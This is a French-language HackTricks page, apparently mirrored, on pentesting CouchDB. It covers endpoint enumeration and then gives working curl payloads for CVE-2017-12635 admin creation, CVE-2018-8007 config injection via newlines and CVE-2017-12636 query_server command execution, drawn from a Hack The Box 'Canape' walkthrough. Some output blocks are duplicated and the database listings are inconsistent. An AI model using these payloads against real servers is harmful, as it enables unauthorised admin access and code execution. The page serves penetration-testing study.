Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/5984-pentesting-couchdb.md

22 KiB
Raw Blame History

5984,6984 - Test d'intrusion CouchDB

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Informations de base

CouchDB est une base de données orientée document où chaque champ est stocké sous forme de cartes clé-valeur. Les champs peuvent être une paire clé/valeur simple, une liste ou une carte.

Chaque document stocké dans la base de données se voit attribuer un identifiant unique au niveau du document (_id) ainsi qu'un numéro de révision (_rev) pour chaque modification enregistrée dans la base de données.

Port par défaut : 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Énumération Automatique

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Énumération Manuelle

Bannière

curl http://IP:5984/

Cette action envoie une requête GET à l'instance CouchDB installée. La réponse devrait ressembler à l'une des suivantes :

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

{% hint style="info" %} Notez que si en accédant à la racine de couchdb vous recevez un 401 Unauthorized avec quelque chose comme ceci : {"error":"unauthorized","reason":"Authentication required."}, vous ne pourrez pas accéder à la bannière ou à tout autre point de terminaison. {% endhint %}

Énumération des Informations

Voici les points de terminaison où vous pouvez accéder avec une requête GET et extraire des informations intéressantes. Vous pouvez trouver plus de points de terminaison et des descriptions plus détaillées dans la documentation de couchdb.

  • /_active_tasks Liste des tâches en cours, incluant le type de tâche, le nom, le statut et l'ID du processus.
  • /_all_dbs Renvoie une liste de toutes les bases de données dans l'instance CouchDB.
  • /_cluster_setup Renvoie le statut du nœud ou du cluster, selon l'assistant de configuration du cluster.
  • /_db_updates Renvoie une liste de tous les événements de base de données dans l'instance CouchDB. L'existence de la base de données _global_changes est requise pour utiliser ce point de terminaison.
  • /_membership Affiche les nœuds qui font partie du cluster en tant que cluster_nodes. Le champ all_nodes affiche tous les nœuds que ce nœud connaît, y compris ceux qui font partie du cluster.
  • /_scheduler/jobs Liste des travaux de réplication. Chaque description de travail inclura des informations sur la source et la cible, l'ID de réplication, un historique des événements récents, et quelques autres choses.
  • /_scheduler/docs Liste des états des documents de réplication. Comprend des informations sur tous les documents, même dans les états completed et failed. Pour chaque document, il retourne l'ID du document, la base de données, l'ID de réplication, la source et la cible, et d'autres informations.
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} Le point de terminaison /_node/{node-name} peut être utilisé pour confirmer le nom du nœud Erlang du serveur qui traite la requête. Cela est particulièrement utile lors de l'accès à /_node/_local pour récupérer cette information.
  • /_node/{node-name}/_stats La ressource _stats renvoie un objet JSON contenant les statistiques pour le serveur en cours d'exécution. La chaîne littérale _local sert d'alias pour le nom du nœud local, donc pour toutes les URL de statistiques, {node-name} peut être remplacé par _local, pour interagir avec les statistiques du nœud local.
  • /_node/{node-name}/_system La ressource _system renvoie un objet JSON contenant diverses statistiques de niveau système pour le serveur en cours d'exécution. Vous pouvez utiliser __local comme {node-name} pour obtenir les informations du nœud actuel.
  • /_node/{node-name}/_restart
  • /_up Confirme que le serveur est opérationnel, en cours d'exécution et prêt à répondre aux requêtes. Si maintenance_mode est true ou nolb, le point de terminaison renverra une réponse 404.
  • /_uuids Demande un ou plusieurs Identifiants Universels Uniques (UUID) de l'instance CouchDB.
  • /_reshard Renvoie un décompte des travaux terminés, échoués, en cours, arrêtés et le total des travaux ainsi que l'état du remaillage sur le cluster.

Plus d'informations intéressantes peuvent être extraites comme expliqué ici : https://lzone.de/cheat-sheet/CouchDB

Liste des Bases de Données

curl -X GET http://IP:5984/_all_dbs

Si cette requête répond avec un 401 non autorisé, alors vous avez besoin de crédits valides pour accéder à la base de données :

curl -X GET http://user:password@IP:5984/_all_dbs

Afin de trouver des identifiants valides, vous pourriez essayer de forcer brutalement le service.

Voici un exemple de réponse couchdb lorsque vous avez suffisamment de privilèges pour lister les bases de données (C'est simplement une liste de bdd) :

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Informations sur la base de données

Vous pouvez obtenir certaines informations sur la base de données (comme le nombre de fichiers et les tailles) en accédant au nom de la base de données :

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Liste des documents

Lister chaque entrée à l'intérieur d'une base de données

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Lire le document

Lire le contenu d'un document à l'intérieur d'une base de données :

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

Élévation de privilèges CouchDB CVE-2017-12635

Grâce aux différences entre les analyseurs JSON d'Erlang et de JavaScript, vous pourriez créer un utilisateur admin avec les identifiants hacktricks:hacktricks avec la requête suivante :

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Plus d'informations sur cette vulnérabilité ici.

CouchDB RCE

Erlang Cookie

Dans la documentation de CouchDB, dans la section de configuration du cluster, il est question des différents ports utilisés par CouchDB :

CouchDB en mode cluster utilise le port 5984 tout comme en mode autonome, mais il utilise également le 5986 pour les API locales aux nœuds.

Erlang utilise le port TCP 4369 (EPMD) pour trouver d'autres nœuds, donc tous les serveurs doivent pouvoir communiquer entre eux sur ce port. Dans un cluster Erlang, tous les nœuds sont connectés à tous les autres nœuds. Un maillage.

Et puis il y a un avertissement intéressant :

1536931232858

Si nous regardons dans la liste des processus, nous pouvons voir ce cookie, “monster” :

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Vous pouvez lire cette section pour apprendre comment abuser des cookies Erlangs pour obtenir un RCE.
De plus, vous pouvez lire certains writeups de machines HTB Canape comme celui-ci pour voir et pratiquer comment exploiter cette vulnérabilité.

CVE-2018-8007 réussi avec des permissions d'écriture sur local.ini

En écrivant cet article, j'ai découvert qu'un nouveau CVE avait été publié pour CouchDB par mdsec, CVE-2018-8007. Il nécessite également des droits d'écriture sur le fichier local.ini, donc ce n'est pas une option utile pour Canape. Mais puisque j'ai déjà rendu ce fichier modifiable en tant que root, voyons si nous pouvons le faire fonctionner.

Commencez avec un local.ini propre et désormais modifiable (et une sauvegarde) :

root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Nous pouvons utiliser curl pour modifier les origines dans le fichier local.ini. La vulnérabilité ici est que si nous utilisons curl pour ajouter une nouvelle origine et ensuite des nouvelles lignes, nous pouvons écrire des informations supplémentaires, y compris un nouvel en-tête et des détails. Nous allons donc tirer parti du champ [os_daemons], et ajouter un processus que CouchDB essaiera de maintenir en fonctionnement :

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

Dans le shell root, nous pouvons voir les modifications :

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Et pourtant, le fichier n'est pas là :

root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory

Si nous examinons les processus en cours avec "couchdb" dans la cmdline, nous voyons non seulement la ligne de commande qui nous donne la valeur du cookie que nous avons utilisée plus tôt, mais aussi runsrv couchdb :

root@canape:/home/homer/bin# ps aux | grep couch
root        711  0.0  0.0   4240   696 ?        Ss   14:28   0:00 runsv couchdb
root        728  0.0  0.0   4384   812 ?        S    14:28   0:00 svlogd -tt /var/log/couchdb
homer      1785  0.8  3.1 638992 31248 ?        Sl   17:55   0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config

Si nous tuons ce processus, il redémarre immédiatement (remarquez le nouveau pid) :

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root       2031  0.0  0.0  14224   980 pts/2    S+   18:09   0:00 grep --color=auto runsrv

Et, au redémarrage, exécute les OS_Daemons :

root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Tentative réussie via CVE-2017-12636 avec des permissions d'écriture sur local.ini

CVE-2017-12636 permet l'exécution de code via le processus couchdb. Cependant, cela ne fonctionnera pas dans cette configuration.

Il existe quelques POCs en référence :

Nous devrions écrire un nouveau query_server, puis l'invoquer. Lorsque Canape a été publié, la plupart des POCs étaient pour couchdb 1.x, mais cette box fonctionne sous la version 2, donc le chemin des query_servers de la plupart des POCs n'existe pas. Cela a changé maintenant, mais nous allons suivre les mêmes étapes. D'abord, obtenir la version, et montrer que le chemin 1.X n'existe pas :

www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}

Mise à jour avec le nouveau chemin pour 2.0 :

www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}

À partir de là, nous devrions ajouter un query_server puis l'invoquer, mais nous ne le pouvons pas.

www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n                  [{config_writer,save_to_file,2,\n                                  [{file,\"src/config_writer.erl\"},{line,38}]},\n                   {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n                   {gen_server,try_handle_call,4,\n                               [{file,\"gen_server.erl\"},{line,629}]},\n                   {gen_server,handle_msg,5,\n                               [{file,\"gen_server.erl\"},{line,661}]},\n                   {proc_lib,init_p_do_apply,3,\n                             [{file,\"proc_lib.erl\"},{line,240}]}]},\n                 {gen_server,call,\n                             [config,\n                              {set,\"query_servers\",\"cmd\",\n                                   \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}

Une recherche sur Google indique que c'est un problème de permissions. En effet, si nous vérifions avec notre shell root, nous pouvons voir que le fichier local.ini n'est modifiable par personne, encore moins par www-data :

root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini

Donc, c'est une impasse pour Canape. Mais si nous voulons essayer de le faire fonctionner, nous pouvons le rendre lisible avec notre accès root ou homer, et continuer sur cette voie. Nous ferons une sauvegarde de l'original pour pouvoir voir les changements :

root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini

Maintenant, revenons à notre shell www-data :

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""

Nous récupérons la valeur précédente pour le serveur de requête cmd, ce qui signifie que c'est un succès. Et dans le shell root, nous pouvons voir que cela a fonctionné :

root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =

Maintenant, nous devrions être en mesure de créer une base de données (db), puis un document dans cette db, et ensuite le requêter avec une vue qui mappe notre query_server pour obtenir l'exécution.

Créer la db et le document :

www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}

www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}

Demandez-le dans une vue :

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"

Résumé avec un payload différent

Shodan

  • port:5984 couchdb

Références

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert) !

Autres moyens de soutenir HackTricks :